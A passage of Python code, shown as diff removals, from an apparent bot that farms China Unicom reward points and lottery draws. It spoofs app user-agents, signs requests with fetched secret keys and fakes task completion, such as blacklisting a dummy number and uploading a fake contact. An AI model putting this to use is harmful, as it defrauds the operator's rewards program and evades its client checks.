- self.log(f"云盘任务: 活动上传失败: HTTP {res.status_code} {res_json if res_json else res.text[:200]}")
- except Exception as e:
- if activity_id == 'MjU=':
- self.log(f"家乡打卡 - 上传异常: {e}")
- else:
- self.log(f"云盘任务: 活动上传异常: {e}")
- return False
-
- def wait_cloud_lottery_times_cloud(self, activity_id, wait_seconds=8):
- headers = self.build_cloud_lottery_headers()
- if not headers:
- return None
- for _ in range(wait_seconds):
- time.sleep(1)
- try:
- res = self.query_cloud_lottery_times_cloud(activity_id, headers)
- if isinstance(res, dict) and str(res.get('meta', {}).get('code')) == '200' and self.get_cloud_lottery_draw_count(res) > 0:
- return res
- except Exception:
- pass
- return getattr(self.cloudDisk, 'lotteryTimesResult', None)
-
- def get_cloud_lottery_activity_id_cloud(self):
- if getattr(self.cloudDisk, 'lotteryActivityId', None):
- return self.cloudDisk.lotteryActivityId
- headers = self.build_cloud_lottery_headers()
- if not headers:
- return None
- custom_id = os.environ.get("UNICOM_CLOUD_LOTTERY_ACTIVITY_ID", "").strip()
- activity_id = custom_id or "MjU="
- try:
- check_headers = dict(headers)
- check_headers['requestTime'] = str(int(time.time() * 1000))
- res = self.session.get(self.cloudDiskUrls['lottery_times'], params={"activityId": activity_id}, headers=check_headers, timeout=10).json()
- meta_code = str(res.get('meta', {}).get('code'))
- if meta_code in ('200', '90003603'):
- self.cloudDisk.lotteryActivityId = activity_id
- self.cloudDisk.lotteryTimesResult = res
- self.log("云盘任务: 开始执行抽奖活动")
- return activity_id
- self.log(f"云盘任务: 抽奖活动[{activity_id}] 无效: {res}")
- except Exception as e:
- self.log(f"云盘任务: 查询抽奖活动[{activity_id}]失败: {e}")
- return None
-
- def draw_lottery_cloud(self):
- headers = self.build_cloud_lottery_headers()
- if not headers:
- return
- activity_id = self.get_cloud_lottery_activity_id_cloud()
- if not activity_id:
- self.log("云盘任务: 未找到有效抽奖活动")
- return
- try:
- times_res = getattr(self.cloudDisk, 'lotteryTimesResult', None)
- if not isinstance(times_res, dict):
- times_res = self.query_cloud_lottery_times_cloud(activity_id, headers)
- times_code = str(times_res.get('meta', {}).get('code'))
- draw_count = self.get_cloud_lottery_draw_count(times_res) if times_code == '200' else 0
- if times_code == '90003603' or draw_count <= 0:
- if self.ensure_cloud_lottery_activity_open_cloud(activity_id) and self.do_activity_upload_cloud(activity_id):
- refreshed = self.wait_cloud_lottery_times_cloud(activity_id)
- if isinstance(refreshed, dict):
- times_res = refreshed
- times_code = str(times_res.get('meta', {}).get('code'))
- draw_count = self.get_cloud_lottery_draw_count(times_res) if times_code == '200' else 0
- if activity_id == 'MjU=':
- self.query_cloud_lottery_record_cloud(activity_id)
- if times_code == '90003603':
- if activity_id == 'MjU=':
- self.log("家乡打卡 - 抽奖失败:没有抽奖机会")
- else:
- self.log(f"云盘任务: 抽奖活动[{activity_id}] 活动上传后仍未获得抽奖次数")
- return
- if times_code != '200':
- self.log(f"云盘任务: 查询抽奖次数失败: {times_res}")
- return
- if draw_count <= 0:
- if activity_id == 'MjU=':
- self.log("家乡打卡 - 抽奖失败:没有抽奖机会")
- else:
- self.log(f"云盘任务: 抽奖活动[{activity_id}] 当前无抽奖次数")
- return
- for _ in range(draw_count):
- draw_headers = dict(headers)
- draw_headers['requestTime'] = str(int(time.time() * 1000))
- res = self.session.post(self.cloudDiskUrls['lottery'], json={"activityId": activity_id}, headers=draw_headers, timeout=10).json()
- if res.get('meta', {}).get('code') == '92000017':
- self.log("云盘任务: 转盘已抽奖")
- return
- if 'result' in res:
- if activity_id == 'MjU=':
- self.log(f"家乡打卡 - 抽奖结果:{res['result'].get('prizeName', '')}", notify=True)
- else:
- self.log(f"云盘任务: 转盘获得: {res['result'].get('prizeName', '')}", notify=True)
- continue
- self.log(f"云盘任务: 抽奖无结果: {res}")
- except Exception as e:
- self.log(f"云盘任务: 抽奖失败: {e}")
-
- def get_secret_key_cloud(self):
- if getattr(self.cloudDisk, 'secretKey', None):
- return self.cloudDisk.secretKey
- if not getattr(self.cloudDisk, 'userticket', None) or not getattr(self.cloudDisk, 'jeaId', None):
- return None
- headers = {
- 'Accept': 'application/json, text/plain, */*',
- 'Content-Type': 'application/json',
- 'Accept-Language': 'zh-CN,zh-Hans;q=0.9',
- 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) LianTongYunPan/4.0.2 (iPhone; iOS 16.6)",
- 'Accept-Encoding': 'gzip, deflate, br',
- 'Connection': 'keep-alive',
- 'Sec-Fetch-Site': 'same-origin',
- 'Sec-Fetch-Mode': 'cors',
- 'Sec-Fetch-Dest': 'empty',
- 'Origin': 'https://m.jf.10010.com',
- 'Host': 'm.jf.10010.com',
- 'clienttype': 'yunpan_iOS',
- 'partnersid': '1649',
- 'ticket': self.cloudDisk.userticket,
- 'Cookie': f"_jea_id={self.cloudDisk.jeaId};",
- }
- try:
- res = self.session.get(self.cloudDiskUrls['secretKey'], headers=headers, timeout=10).json()
- secret = res.get('data', {}).get('secretKey')
- if res.get('code') == '0000' and secret:
- self.cloudDisk.secretKey = secret.encode('utf-8')
- self.log("云盘任务: secretKey 获取成功")
- return self.cloudDisk.secretKey
- self.log(f"云盘任务: getSecretKey 失败: {res}")
- except Exception as e:
- self.log(f"云盘任务: getSecretKey 异常: {e}")
- return None
-
- def build_signature_headers_cloud(self):
- secret_key = self.get_secret_key_cloud()
- if not secret_key:
- return {}
- request_ts = str(round(time.time() * 1000))
- nonce = ''.join(random.choices('0123456789abcdefghijklmnopqrstuvwxyz', k=8))
- signature = hmac.new(
- secret_key, f"{nonce}{request_ts}".encode('utf-8'), hashlib.sha256,
- ).hexdigest()
- return {
- 'x-request-timestamp': request_ts,
- 'x-request-nonce': nonce,
- 'x-request-signature': signature,
- }
-
- def run_generic_cloud_task(self, task_code, task_name):
- self.log(f"云盘任务: [{task_name}] 尝试通用完成接口")
- self.toFinish_cloud(task_code, task_name, False)
- time.sleep(2)
- self.handle_unknown_task_cloud(task_code, task_name)
- time.sleep(3)
- self.finalize_generic_task_cloud(task_code, task_name)
-
- def handle_unknown_task_cloud(self, task_code, task_name=""):
- token = getattr(self.cloudDisk, 'userToken', '')
- if not token:
- return False
- headers = {
- 'User-Agent': 'LianTongYunPan/5.0.4 (iOS 16.3)',
- 'Accept': 'application/json, text/plain, */*',
- 'Content-Type': 'application/json',
- 'Accept-Encoding': 'br;q=1.0, gzip;q=0.9, deflate;q=0.8',
- 'Access-Token': token, 'X-YP-Access-Token': token,
- 'Client-Id': '1001000035', 'X-YP-Client-Id': '1001000035',
- 'App-Version': 'yp-app/5.0.4', 'app-type': 'liantongyunpanapp',
- 'Sys-Version': 'iOS/16.3',
- 'Accept-Language': 'zh-Hans-CN;q=1.0',
- }
- prefix = f"云盘任务: [{task_name}]" if task_name else "云盘任务: 未知任务"
- try:
- res = self.session.post(
- self.cloudDiskUrls['taskFinish'],
- json={"taskCode": task_code, "taskStatus": {"isBackUp": "1"}},
- headers=headers,
- timeout=10,
- ).json()
- meta_code = str(res.get('meta', {}).get('code'))
- if meta_code == '90003600':
- self.log(f"{prefix} 处理完成")
- return True
- if meta_code in ('200', '0') or str(res.get('code')) in ('200', '0', '0000'):
- self.log(f"{prefix} 处理完成: {res.get('msg', res.get('meta', {}).get('message', '成功'))}")
- return True
- self.log(f"{prefix} 处理失败: {res}")
- except Exception as e:
- self.log(f"云盘任务: [{task_name or task_code}] 处理失败: {e}")
- return False
-
- def ltyp_task(self, is_query_only=False):
- self.log("==== 联通云盘任务 ====")
- self.init_cloud_urls()
- class CloudDiskState: pass
- self.cloudDisk = CloudDiskState()
- if not self.ecs_token:
- self.log("云盘任务: 缺少 ecs_token,跳过。")
- return
- ticket = self.getTicketByNative_cloud()
- if not ticket: return
- if not hasattr(self, 'city_info') or not self.city_info:
- self.get_city_info()
- token = self.get_ltypDispatcher_cloud(ticket)
- if not token: return
- time.sleep(0.5)
- self.get_userInfo_cloud()
- self.init_cloud_task_records_state()
- if is_query_only:
- self.log("云盘任务: [查询模式] 跳过任务执行...")
- self.get_userInfo_cloud()
- return
- time.sleep(0.5)
- self.get_secret_key_cloud()
- self.get_taskDetail_cloud()
- time.sleep(0.5)
- self.get_userInfo_cloud()
- time.sleep(2)
- self.draw_lottery_cloud()
- time.sleep(2)
- self.clean_duplicate_files_cloud()
-
- def getTicketByNative_sec(self):
- for attempt in range(1, 4):
- try:
- url = f"https://m.client.10010.com/edop_ng/getTicketByNative?token={self.ecs_token}&appId=edop_unicom_3a6cc75a"
- city_code = ""
- cookie_str = f"PvSessionId={datetime.now().strftime('%Y%m%d%H%M%S')}{self.unicomTokenId};c_mobile={self.account_mobile}; c_version=iphone_c@11.0800; city=036|{city_code}|90063345|-99;devicedId={self.unicomTokenId}; ecs_token={self.ecs_token};t3_token="
- headers = {
- "Cookie": cookie_str,
- "Accept": "*/*",
- "Connection": "keep-alive",
- "Content-Type": "application/x-www-form-urlencoded",
- "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}",
- "Accept-Language": "zh-Hans-CN;q=1.0"
- }
- res = self.session.get(url, headers=headers, timeout=10)
- if res.status_code != 200:
- self.log(f"安全管家: getTicketByNative_sec http请求失败 {res.status_code}")
- return
- try:
- result = res.json()
- except:
- self.log(f"安全管家: getTicketByNative_sec json解析失败: {res.text[:100]}")
- return
- self.sec_ticket1 = result.get('ticket')
- if self.sec_ticket1:
- return
- else:
- self.log(f"安全管家: getTicketByNative_sec 失败 - {result}")
- except Exception as e:
- err_msg = str(e)
- if attempt < 3 and os.environ.get("UNICOM_PROXY_API") and ("Max retries exceeded" in err_msg or "timed out" in err_msg.lower() or "connection" in err_msg.lower() or "SOCKS" in err_msg):
- self.log(f"安全管家: getTicketByNative_sec 第{attempt}次异常触发故障转移: {err_msg}")
- self.failover_proxy()
- continue
- self.log(f"安全管家: getTicketByNative_sec 第{attempt}次重试 - 异常: {e}")
- time.sleep(2)
-
- def getAuthToken_sec(self):
- if not getattr(self, 'sec_ticket1', None):
- self.log("安全管家 getAuthToken_sec 缺少 ticket1,跳过")
- return
- try:
- url = "https://uca.wo116114.com/api/v1/auth/ticket?product_line=uasp&entry_point=h5&entry_point_id=edop_unicom_3a6cc75a"
- headers = {
- "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}",
- "Content-Type": "application/json",
- "clientType": "uasp_unicom_applet"
- }
- data = { "productId": "", "type": 1, "ticket": self.sec_ticket1 }
- res = self.session.post(url, json=data, headers=headers).json()
- if res.get('data'):
- self.sec_token = res['data'].get('access_token')
- else:
- self.log(f"安全管家: getAuthToken_sec 失败 - {res}")
- except Exception as e:
- self.log(f"安全管家: getAuthToken_sec 异常: {e}")
-
- def getTicketForJF_sec(self):
- if not getattr(self, 'sec_token', None):
- self.log("安全管家 getTicketForJF_sec 缺少 token,跳过")
- return
- try:
- url1 = "https://uca.wo116114.com/api/v1/auth/getTicket?product_line=uasp&entry_point=h5&entry_point_id=edop_unicom_3a6cc75a"
- headers1 = {
- "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}",
- "Content-Type": "application/json",
- "auth-sa-token": self.sec_token,
- "clientType": "uasp_unicom_applet"
- }
- data1 = { "productId": "91311616", "phone": self.account_mobile }
- res1 = self.session.post(url1, json=data1, headers=headers1).json()
- if res1.get('data'):
- self.sec_ticket = res1['data'].get('ticket')
- else:
- self.log("安全管家获取积分票据失败")
- return
- url2 = "https://m.jf.10010.com/jf-external-application/page/query"
- headers2 = {
- "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301};ltst;OSVersion/16.6",
- "partnersid": "1702",
- "ticket": unquote(self.sec_ticket),
- "clienttype": "uasp_unicom_applet",
- }
- if hasattr(self, 'sec_jeaId'):
- headers2["Cookie"] = f"_jea_id={self.sec_jeaId}"
- res2 = self.session.post(url2, json={"activityId": "s747395186896173056", "partnersId": "1702"}, headers=headers2)
- res2 = self.session.post(url2, json={"activityId": "s747395186896173056", "partnersId": "1702"}, headers=headers2)
- for cookie in self.session.cookies:
- if cookie.name == '_jea_id':
- self.sec_jeaId = cookie.value
- if 'Set-Cookie' in res2.headers:
- match = re.search(r'_jea_id=([^;]+)', res2.headers['Set-Cookie'])
- if match:
- self.sec_jeaId = match.group(1)
- self.log(f"安全管家: 更新 jeaId: {self.sec_jeaId}")
- except Exception as e:
- self.log(f"安全管家: getTicketForJF_sec 异常: {e}")
-
- def get_secret_key_sec(self):
- if getattr(self, 'sec_secretKey', None):
- return self.sec_secretKey
- if not getattr(self, 'sec_ticket', None):
- return None
- headers = {
- 'Accept': 'application/json, text/plain, */*',
- 'Content-Type': 'application/json',
- 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301};ltst;OSVersion/16.6",
- 'Accept-Encoding': 'gzip, deflate, br',
- 'Connection': 'keep-alive',
- 'Sec-Fetch-Site': 'same-origin',
- 'Sec-Fetch-Mode': 'cors',
- 'Sec-Fetch-Dest': 'empty',
- 'Origin': 'https://m.jf.10010.com',
- 'Host': 'm.jf.10010.com',
- 'clienttype': 'uasp_unicom_applet',
- 'partnersid': '1702',
- 'ticket': unquote(self.sec_ticket),
- }
- if hasattr(self, 'sec_jeaId') and self.sec_jeaId:
- headers['Cookie'] = f"_jea_id={self.sec_jeaId};"
- try:
- res = self.session.get("https://m.jf.10010.com/jf-external-application/jftask/getSecretKey", headers=headers, timeout=10).json()
- secret = res.get('data', {}).get('secretKey')
- if res.get('code') == '0000' and secret:
- self.sec_secretKey = secret.encode('utf-8')
- self.log("安全管家: secretKey 获取成功")
- return self.sec_secretKey
- self.log(f"安全管家: getSecretKey 失败: {res}")
- except Exception as e:
- self.log(f"安全管家: getSecretKey 异常: {e}")
- return None
-
- def build_signature_headers_sec(self):
- secret_key = self.get_secret_key_sec()
- if not secret_key:
- return {}
- request_ts = str(round(time.time() * 1000))
- nonce = ''.join(random.choices('0123456789abcdefghijklmnopqrstuvwxyz', k=8))
- signature = hmac.new(
- secret_key, f"{nonce}{request_ts}".encode('utf-8'), hashlib.sha256,
- ).hexdigest()
- return {
- 'x-request-timestamp': request_ts,
- 'x-request-nonce': nonce,
- 'x-request-signature': signature,
- }
-
- def operateBlacklist_sec(self, phone_number, type_val):
- type_name = "添加" if type_val == 0 else "删除"
- self.log(f"安全管家: 正在执行{type_name}黑名单号码: {phone_number}")
- try:
- url = "https://uca.wo116114.com/sjgj/woAssistant/umm/configs/v1/config?product_line=uasp&entry_point=h5&entry_point_id=wxdefbc1986dc757a6"
- headers = {
- "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}",
- "auth-sa-token": self.sec_token,
- "clientType": "uasp_unicom_applet",
- "token": self.sec_token,
- "Cookie": f"devicedId={self.unicomTokenId}"
- }
- data = {
- "productId": "91015539",
- "type": 1,
- "operationType": type_val,
- "contents": [{ "content": phone_number, "contentTag": "", "nickname": None, "configTime": None }]
- }
- if type_val == 0:
- data["blacklistSource"] = 0
- res = self.session.post(url, json=data, headers=headers).json()
- return res
- except Exception as e:
- self.log(f"operateBlacklist_sec error: {e}")
- return None
-
- def addToBlacklist_sec(self):
- phone_number = "13088888888"
- res = self.operateBlacklist_sec(phone_number, 0)
- success_codes = ['0000', 0]
- if res and (res.get('code') in success_codes or res.get('msg') == '成功'):
- self.log("安全管家: ✅ 添加黑名单成功。")
- return
- is_duplicate = res and res.get('msg') and "号码已存在" in res.get('msg')
- if is_duplicate:
- self.log(f"安全管家: ⚠️ 检测到号码 {phone_number} 已存在,执行先删除后添加流程。")
- del_res = self.operateBlacklist_sec(phone_number, 1)
- is_del_success = del_res and (del_res.get('code') in success_codes or (del_res.get('msg') and ("成功" in del_res.get('msg') or "不在黑名单" in del_res.get('msg'))))
- if is_del_success:
- self.log("安全管家: ✅ 删除旧记录成功,等待 2 秒后重新添加...")
- time.sleep(2)
- retry_res = self.operateBlacklist_sec(phone_number, 0)
- if retry_res and (retry_res.get('code') in success_codes or retry_res.get('msg') == '成功'):
- self.log("安全管家: ✅ 重新添加黑名单成功。")
- else:
- self.log(f"安全管家: ❌ 重新添加失败: {retry_res.get('msg')}")
- else:
- self.log("安全管家: ❌ 删除旧记录失败,无法继续添加。")
- else:
- self.log(f"安全管家: ❌ 添加黑名单失败: {res.get('msg') if res else '无响应'}")
-
- def markPhoneNumber_sec(self):
- try:
- url = "https://uca.wo116114.com/sjgj/unicomAssistant/uasp/configs/v1/addressBook/saveTagPhone?product_line=uasp&entry_point=h5&entry_point_id=wxdefbc1986dc757a6"
- headers = {
- "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}",
- "auth-sa-token": self.sec_token,
- "clientType": "uasp_unicom_applet"
- }
- data = { "tagPhoneNo": "13088330789", "tagIds": [26], "status": 0, "productId": "91311616" }
- self.session.post(url, json=data, headers=headers)
- self.log("安全管家: 执行号码标记。")
- except Exception as e:
- self.log(f"markPhoneNumber_sec error: {e}")
-
- def syncAddressBook_sec(self):
- try:
- url = "https://uca.wo116114.com/sjgj/unicomAssistant/uasp/configs/v1/addressBookBatchConfig?product_line=uasp&entry_point=h5&entry_point_id=edop_unicom_3a6cc75a"
- headers = {
- "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}",
- "auth-sa-token": self.sec_token,
- "clientType": "uasp_unicom_applet"
- }
- data = { "addressBookDTOList": [{ "addressBookPhoneNo": "13088888888", "addressBookName": "水水" }], "productId": "91311616", "opType": "1" }
- self.session.post(url, json=data, headers=headers)
- self.log("安全管家: 执行同步通讯录。")
- except Exception as e:
- self.log(f"syncAddressBook_sec error: {e}")
-
- def setInterceptionRules_sec(self):
- try:
- url = "https://uca.wo116114.com/sjgj/woAssistant/umm/configs/v1/config?product_line=uasp&entry_point=h5&entry_point_id=wxdefbc1986dc757a6"
- headers = {
- "User-Agent": "ChinaUnicom4.x/12.3.1 (com.chinaunicom.mobilebusiness; build:77; iOS 16.6.0) Alamofire/4.7.3 unicom{version:iphone_c@12.0301}",
- "auth-sa-token": self.sec_token,
- "clientType": "uasp_unicom_applet"
- }
- data = { "contents": [{ "name": "rings-once", "contentTag": "8", "contentName": "响一声", "content": "0", "icon": "alerting" }], "operationType": 0, "type": 3, "productId": "91311616" }
- self.session.post(url, json=data, headers=headers)
- self.log("安全管家: 执行设置拦截规则。")
- except Exception as e:
- self.log(f"setInterceptionRules_sec error: {e}")
-
- def viewWeeklyStatus_sec(self):
- try:
- url = "https://uca.wo116114.com/sjgj/unicomAssistant/uasp/configs/v1/weeklySwitchStatus?product_line=uasp&entry_point=h5&entry_point_id=wxdefbc1986dc757a6"
- headers = { "auth-sa-token": self.sec_token, "clientType": "uasp_unicom_applet" }
- self.session.post(url, json={ "productId": "91311616" }, headers=headers)
- except: pass
-
- def queryKeyData_sec(self):
- try:
- url = "https://uca.wo116114.com/sjgj/unicomAssistant/uasp/report/v1/queryKeyData?product_line=uasp&entry_point=h5&entry_point_id=wxdefbc1986dc757a6"
- headers = { "auth-sa-token": self.sec_token, "clientType": "uasp_unicom_applet" }
- self.session.post(url, json={ "productId": "91311616" }, headers=headers)
- except: pass
-
- def viewWeeklySummary_sec(self):
- try:
- url = "https://uca.wo116114.com/sjgj/unicomAssistant/uasp/report/v1/weeklySummary?product_line=uasp&entry_point=h5&entry_point_id=wxdefbc1986dc757a6"
- headers = { "auth-sa-token": self.sec_token, "clientType": "uasp_unicom_applet" }
- self.session.post(url, json={ "productId": "91311616" }, headers=headers)
- self.log("安全管家: 执行查看周报。")
- except: pass
-
- def receivePoints_sec(self, taskCode):
- try:
- url = "https://m.jf.10010.com/jf-external-application/jftask/receive"
- headers = {
- "ticket": unquote(self.sec_ticket),
- "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301};ltst;OSVersion/16.6",
- "partnersid": "1702",
- "clienttype": "uasp_unicom_applet",
- }
- headers.update(self.build_signature_headers_sec())
- if hasattr(self, 'sec_jeaId') and self.sec_jeaId:
- headers["Cookie"] = f"_jea_id={self.sec_jeaId};"
- res = self.session.post(url, json={ "taskCode": taskCode }, headers=headers).json()
- if res.get('data') and res['data'].get('score'):
- self.log(f"安全管家: ✅ 领取积分成功: {res['data']['score']} ({res.get('msg')})", notify=True)
- elif res:
- self.log(f"安全管家: ❌ 领取积分失败: {res.get('msg')}")
- else:
- self.log("安全管家: ❌ 领取积分API无响应")
- except Exception as e:
- self.log(f"receivePoints_sec error: {e}")
-
- def finishTask_sec(self, taskCode, taskName):
- try:
- url = "https://m.jf.10010.com/jf-external-application/jftask/toFinish"
- headers = {
- "ticket": unquote(self.sec_ticket),
- "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301};ltst;OSVersion/16.6",
- "partnersid": "1702",
- "clienttype": "uasp_unicom_applet",
- "token": self.sec_token,
- "Cookie": f"devicedId={self.unicomTokenId}"
- }
- headers.update(self.build_signature_headers_sec())
- if hasattr(self, 'sec_jeaId') and self.sec_jeaId:
- headers["Cookie"] = f"_jea_id={self.sec_jeaId};"
- self.session.post(url, json={ "taskCode": taskCode }, headers=headers)
- self.log(f"安全管家: 开启任务 [{taskName}]")
- if taskName == "联通助理-添加黑名单":
- self.addToBlacklist_sec()
- elif taskName == "联通助理-号码标记":
- self.markPhoneNumber_sec()
- elif taskName == "联通助理-同步通讯录":
- self.syncAddressBook_sec()
- elif taskName == "联通助理-骚扰拦截设置":
- self.setInterceptionRules_sec()
- elif taskName == "联通助理-查看周报":
- self.viewWeeklyStatus_sec()
- self.queryKeyData_sec()
- self.viewWeeklySummary_sec()
- except Exception as e:
- self.log(f"finishTask_sec error: {e}")
-
- def signIn_sec(self, taskCode):
- try:
- url = "https://m.jf.10010.com/jf-external-application/jftask/sign"
- headers = {
- "ticket": unquote(self.sec_ticket),
- "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301};ltst;OSVersion/16.6",
- "partnersid": "1702",
- "clienttype": "uasp_unicom_applet",
- }
- headers.update(self.build_signature_headers_sec())
- if hasattr(self, 'sec_jeaId') and self.sec_jeaId:
- headers["Cookie"] = f"_jea_id={self.sec_jeaId};"
- res = self.session.post(url, json={ "taskCode": taskCode }, headers=headers).json()
- self.log(f"安全管家: 完成签到: {res.get('msg') if res else '状态未知'}")
- except Exception as e:
- self.log(f"signIn_sec error: {e}")
-
- def executeAllTasks_sec(self):
- try:
- url = "https://m.jf.10010.com/jf-external-application/jftask/taskDetail"
- headers = {
- "ticket": unquote(self.sec_ticket),
- "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301};ltst;OSVersion/16.6",
- "partnersid": "1702",
- "clienttype": "uasp_unicom_applet",
- }
- if hasattr(self, 'sec_jeaId') and self.sec_jeaId:
- headers["Cookie"] = f"_jea_id={self.sec_jeaId}"
- res = self.session.post(url, json={}, headers=headers).json()
- if not res or not res.get('data') or not res['data'].get('taskDetail'):
- self.log("安全管家: 查询任务列表失败或响应格式错误。")
- return
- taskList = res['data']['taskDetail']['taskList']
- executableTaskNames = [
- "联通助理-添加黑名单",
- "联通助理-号码标记",
- "联通助理-同步通讯录",
- "联通助理-骚扰拦截设置",
- "联通助理-查看周报"
- ]
- executableTasks = []
- skippedTasks = []
- for task in taskList:
- isKnown = task['taskName'] in executableTaskNames or "签到" in task['taskName']
- if isKnown:
- executableTasks.append(task)
- else:
- skippedTasks.append(task)
- unfinished_skipped = [t for t in skippedTasks if t['finishCount'] != t['needCount']]
- if unfinished_skipped:
- skipped_names = ", ".join([f"[{t['taskName']}]" for t in unfinished_skipped])
- self.log(f"安全管家: 跳过: {skipped_names}")
- for task in executableTasks:
- taskName = task['taskName']
- taskCode = task['taskCode']
- finishCount = int(task['finishCount'])
- needCount = int(task['needCount'])
- finishText = task.get('finishText', '')
- self.log(f"安全管家: [{taskName}]: {finishCount}/{needCount} - {finishText}")
- if finishCount != needCount:
- remaining = needCount - finishCount
- self.log(f"安全管家: 任务未完成,需要再执行 {remaining} 次")
- for i in range(remaining):
- time.sleep(3)
- try:
- if "签到" in taskName:
- self.signIn_sec(taskCode)
- else:
- self.finishTask_sec(taskCode, taskName)
- if "签到" not in taskName:
- time.sleep(10)
- self.receivePoints_sec(taskCode)
- else:
- self.receivePoints_sec(taskCode)
- break
- except Exception as e:
- self.log(f"安全管家: 执行 {taskCode} 时出错: {e}")
- break
- elif finishText == "待领取":
- try:
- time.sleep(3)
- self.receivePoints_sec(taskCode)
- except Exception as e:
- self.log(f"安全管家: 领取 {taskCode} 奖励时出错: {e}")
- else:
- self.log(f"安全管家: [{taskName}] 任务已完成且奖励已领取")
- self.log("安全管家: ---------------------")
- except Exception as e:
- self.log(f"executeAllTasks_sec error: {e}")
-
- def getUserInfo_sec(self):
- try:
- url = "https://m.jf.10010.com/jf-external-application/jftask/userInfo"
- headers = {
- "ticket": unquote(self.sec_ticket),
- "User-Agent": "Mozilla/5.0 (Linux; Android 9; ONEPLUS A5000 Build/PKQ1.180716.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.179 Mobile Safari/537.36",
- "partnersid": "1702",
- "clienttype": "uasp_unicom_applet",
- }
- if hasattr(self, 'sec_jeaId') and self.sec_jeaId:
- headers["Cookie"] = f"_jea_id={self.sec_jeaId}"
- res = self.session.post(url, json={}, headers=headers).json()
- if not res or res.get('code') != '0000' or not res.get('data'):
- self.log(f"安全管家: 查询积分失败: {res.get('msg') if res else '无响应'}")
- return
- currentPoints = int(res['data'].get('availableScore', 0))
- todayPoints = res['data'].get('todayEarnScore', 0)
- if not hasattr(self, 'sec_oldJFPoints') or self.sec_oldJFPoints is None:
- self.sec_oldJFPoints = currentPoints
- self.log(f"安全管家: 运行前积分:{currentPoints} (今日已赚 {todayPoints})")
- else:
- pointsGained = currentPoints - self.sec_oldJFPoints
- self.log(f"安全管家: 运行后积分{currentPoints},本次运行获得{pointsGained}", notify=True)
- except Exception as e:
- self.log(f"getUserInfo_sec error: {e}")
-
- def securityButlerTask(self, is_query_only=False):
- self.log("==== 联通安全管家 ====")
- if not self.ecs_token:
- self.log("安全管家: 缺少 ecs_token,跳过")
- return
- try:
- self.getTicketByNative_sec()
- if not getattr(self, 'sec_ticket1', None): return
- self.getAuthToken_sec()
- if not getattr(self, 'sec_token', None): return
- self.getTicketForJF_sec()
- if not getattr(self, 'sec_ticket', None): return
- self.sec_oldJFPoints = None
- self.getUserInfo_sec()
- if is_query_only:
- self.log("安全管家: [查询模式] 跳过任务执行...")
- return
- self.get_secret_key_sec()
- self.executeAllTasks_sec()
- self.getUserInfo_sec()
- except Exception as e:
- self.log(f"安全管家: 异常: {e}")
-
- def aiting_query_integral(self):
- url = "https://m.jf.10010.com/jf-external-application/jftask/userInfo"
- response = self.session.post(url, json={}, headers=self.aiting_jf_headers())
- self.update_aiting_jea_id(response)
- res = response.json()
- if res.get('code') == '0000':
- data = res.get('data', {})
- self.log(f"积分概览: 今日已赚 {data.get('todayEarnScore')}, 当前余额 {data.get('availableScore')}", notify=True)
-
- def aiting_jf_headers(self, with_signature=False):
- headers = {
- 'ticket': unquote(self.aiting_biz_ticket),
- 'pageid': 's789081246969976832',
- 'clienttype': 'aiting_android',
- 'partnersid': '1706',
- 'content-type': 'application/json;charset=UTF-8',
- 'User-Agent': 'Mozilla/5.0 (Linux; Android 12; Redmi K30 Pro Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.159 Mobile Safari/537.36 WoReaderApp/Android',
- 'Origin': 'https://m.jf.10010.com',
- 'Host': 'm.jf.10010.com',
- }
- jea_id = getattr(self, 'aiting_jeaId', '')
- if jea_id:
- headers['Cookie'] = f"_jea_id={jea_id};"
- if with_signature:
- headers.update(self.build_signature_headers_aiting())
- return headers
-
- def update_aiting_jea_id(self, response=None):
- jea_id = ''
- if response is not None:
- cookie = response.headers.get('Set-Cookie', '')
- match = re.search(r'_jea_id=([^;]+)', cookie)
- if match:
- jea_id = match.group(1)
- if not jea_id:
- for cookie_item in self.session.cookies:
- if cookie_item.name == '_jea_id':
- jea_id = cookie_item.value
- break
- if jea_id:
- self.aiting_jeaId = jea_id
- return jea_id
-
- def get_secret_key_aiting(self):
- if getattr(self, 'aiting_secretKey', None):
- return self.aiting_secretKey
- try:
- self.update_aiting_jea_id()
- res = self.session.get(
